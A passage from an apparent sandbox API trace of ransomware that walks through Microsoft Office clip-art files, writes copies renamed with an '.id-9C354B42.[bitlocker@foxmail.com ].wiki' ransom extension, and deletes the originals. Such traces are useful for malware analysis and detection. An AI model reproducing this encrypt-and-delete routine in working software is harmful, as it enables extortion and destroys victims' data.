(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.371] lstrlenW (lpString=".dbf") returned 4 [0187.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.371] lstrlenW (lpString=".1cd") returned 4 [0187.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.371] lstrlenW (lpString=".jpg") returned 4 [0187.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.371] lstrlenW (lpString=".doc") returned 4 [0187.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.371] lstrlenW (lpString=".docx") returned 5 [0187.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.372] lstrlenW (lpString=".pdf") returned 4 [0187.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.372] lstrlenW (lpString=".xls") returned 4 [0187.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.372] lstrlenW (lpString=".xlsx") returned 5 [0187.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.372] lstrlenW (lpString=".ppt") returned 4 [0187.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.372] lstrlenW (lpString=".zip") returned 4 [0187.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.372] lstrlenW (lpString=".rar") returned 4 [0187.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.372] lstrlenW (lpString=".bz2") returned 4 [0187.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.372] lstrlenW (lpString=".7z") returned 3 [0187.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.372] lstrlenW (lpString=".dbf") returned 4 [0187.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.372] lstrlenW (lpString=".1cd") returned 4 [0187.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0187.372] lstrlenW (lpString=".jpg") returned 4 [0187.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.373] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.373] lstrlenW (lpString="DD00419_.WMF") returned 12 [0187.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.373] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=712) returned 1 [0187.373] CloseHandle (hObject=0x1e0) returned 1 [0187.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0187.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.373] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.373] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0187.374] GetLastError () returned 0x0 [0187.374] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2c8, lpOverlapped=0x0) returned 1 [0187.375] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0187.376] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.376] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.376] SetEndOfFile (hFile=0x1fc) returned 1 [0187.376] CloseHandle (hObject=0x1fc) returned 1 [0187.376] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.376] SetEndOfFile (hFile=0x1e0) returned 1 [0187.377] CloseHandle (hObject=0x1e0) returned 1 [0187.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0187.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.378] lstrlenW (lpString=".doc") returned 4 [0187.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.378] lstrlenW (lpString=".docx") returned 5 [0187.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.378] lstrlenW (lpString=".pdf") returned 4 [0187.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.378] lstrlenW (lpString=".xls") returned 4 [0187.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.378] lstrlenW (lpString=".xlsx") returned 5 [0187.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.378] lstrlenW (lpString=".ppt") returned 4 [0187.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.378] lstrlenW (lpString=".zip") returned 4 [0187.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.378] lstrlenW (lpString=".rar") returned 4 [0187.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.378] lstrlenW (lpString=".bz2") returned 4 [0187.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.378] lstrlenW (lpString=".7z") returned 3 [0187.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.378] lstrlenW (lpString=".dbf") returned 4 [0187.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.378] lstrlenW (lpString=".1cd") returned 4 [0187.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.378] lstrlenW (lpString=".jpg") returned 4 [0187.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.379] lstrlenW (lpString=".doc") returned 4 [0187.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.379] lstrlenW (lpString=".docx") returned 5 [0187.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.379] lstrlenW (lpString=".pdf") returned 4 [0187.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.379] lstrlenW (lpString=".xls") returned 4 [0187.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.379] lstrlenW (lpString=".xlsx") returned 5 [0187.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.379] lstrlenW (lpString=".ppt") returned 4 [0187.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.379] lstrlenW (lpString=".zip") returned 4 [0187.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.379] lstrlenW (lpString=".rar") returned 4 [0187.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.379] lstrlenW (lpString=".bz2") returned 4 [0187.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.379] lstrlenW (lpString=".7z") returned 3 [0187.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.379] lstrlenW (lpString=".dbf") returned 4 [0187.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.379] lstrlenW (lpString=".1cd") returned 4 [0187.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0187.425] lstrlenW (lpString=".jpg") returned 4 [0187.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.425] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.425] lstrlenW (lpString="DD00437_.WMF") returned 12 [0187.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.425] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1932) returned 1 [0187.425] CloseHandle (hObject=0x1e0) returned 1 [0187.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0187.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.426] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.426] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0187.426] GetLastError () returned 0x0 [0187.426] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x78c, lpOverlapped=0x0) returned 1 [0187.453] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x790, lpOverlapped=0x0) returned 1 [0187.454] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.454] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.454] SetEndOfFile (hFile=0x1fc) returned 1 [0187.454] CloseHandle (hObject=0x1fc) returned 1 [0187.454] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.454] SetEndOfFile (hFile=0x1e0) returned 1 [0187.455] CloseHandle (hObject=0x1e0) returned 1 [0187.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0187.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.455] lstrlenW (lpString=".doc") returned 4 [0187.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.455] lstrlenW (lpString=".docx") returned 5 [0187.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.455] lstrlenW (lpString=".pdf") returned 4 [0187.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.456] lstrlenW (lpString=".xls") returned 4 [0187.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.456] lstrlenW (lpString=".xlsx") returned 5 [0187.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.456] lstrlenW (lpString=".ppt") returned 4 [0187.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.456] lstrlenW (lpString=".zip") returned 4 [0187.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.456] lstrlenW (lpString=".rar") returned 4 [0187.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.456] lstrlenW (lpString=".bz2") returned 4 [0187.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.456] lstrlenW (lpString=".7z") returned 3 [0187.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.456] lstrlenW (lpString=".dbf") returned 4 [0187.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.456] lstrlenW (lpString=".1cd") returned 4 [0187.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.456] lstrlenW (lpString=".jpg") returned 4 [0187.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.457] lstrlenW (lpString=".doc") returned 4 [0187.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.457] lstrlenW (lpString=".docx") returned 5 [0187.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.457] lstrlenW (lpString=".pdf") returned 4 [0187.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.457] lstrlenW (lpString=".xls") returned 4 [0187.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.457] lstrlenW (lpString=".xlsx") returned 5 [0187.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.457] lstrlenW (lpString=".ppt") returned 4 [0187.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.457] lstrlenW (lpString=".zip") returned 4 [0187.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.457] lstrlenW (lpString=".rar") returned 4 [0187.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.457] lstrlenW (lpString=".bz2") returned 4 [0187.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.457] lstrlenW (lpString=".7z") returned 3 [0187.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.457] lstrlenW (lpString=".dbf") returned 4 [0187.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.457] lstrlenW (lpString=".1cd") returned 4 [0187.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0187.457] lstrlenW (lpString=".jpg") returned 4 [0187.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.458] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.458] lstrlenW (lpString="DD00705_.WMF") returned 12 [0187.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.458] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=24588) returned 1 [0187.458] CloseHandle (hObject=0x1e0) returned 1 [0187.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20 [0187.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.458] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.458] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0187.459] GetLastError () returned 0x0 [0187.459] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x600c, lpOverlapped=0x0) returned 1 [0187.484] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x6010, lpOverlapped=0x0) returned 1 [0187.486] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.486] WriteFile (in: hFile=0x1fc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.486] SetEndOfFile (hFile=0x1fc) returned 1 [0187.486] CloseHandle (hObject=0x1fc) returned 1 [0187.486] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.486] SetEndOfFile (hFile=0x1e0) returned 1 [0187.770] CloseHandle (hObject=0x1e0) returned 1 [0187.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0187.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.770] lstrlenW (lpString=".doc") returned 4 [0187.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.770] lstrlenW (lpString=".docx") returned 5 [0187.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.770] lstrlenW (lpString=".pdf") returned 4 [0187.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.770] lstrlenW (lpString=".xls") returned 4 [0187.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.770] lstrlenW (lpString=".xlsx") returned 5 [0187.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.770] lstrlenW (lpString=".ppt") returned 4 [0187.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.771] lstrlenW (lpString=".zip") returned 4 [0187.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.771] lstrlenW (lpString=".rar") returned 4 [0187.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.771] lstrlenW (lpString=".bz2") returned 4 [0187.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.771] lstrlenW (lpString=".7z") returned 3 [0187.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.771] lstrlenW (lpString=".dbf") returned 4 [0187.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.771] lstrlenW (lpString=".1cd") returned 4 [0187.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.771] lstrlenW (lpString=".jpg") returned 4 [0187.771] lstrcmpiW 